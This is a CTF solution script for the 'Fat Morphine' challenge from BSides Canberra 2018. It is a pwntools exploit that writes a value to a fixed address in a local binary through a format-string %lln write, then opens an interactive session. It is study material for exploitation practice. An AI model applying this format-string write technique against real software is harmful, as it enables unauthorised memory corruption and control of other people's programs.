Solution to Fat Morphine from the BSides Canberra CTF 2018

exp_fat_morphine.py

from pwn import *

bin_path = "./fat_morphine"

payload = ""
payload += "%4196134x" # What we are writing
payload += "%{}$lln" # How we write it
payload += "\x30\x0d\x60" # Where we write it
payload = payload.format(10)

p = process([bin_path, payload])

# Hold the process so it doesn't die instantly (so we can see the output)
p.interactive()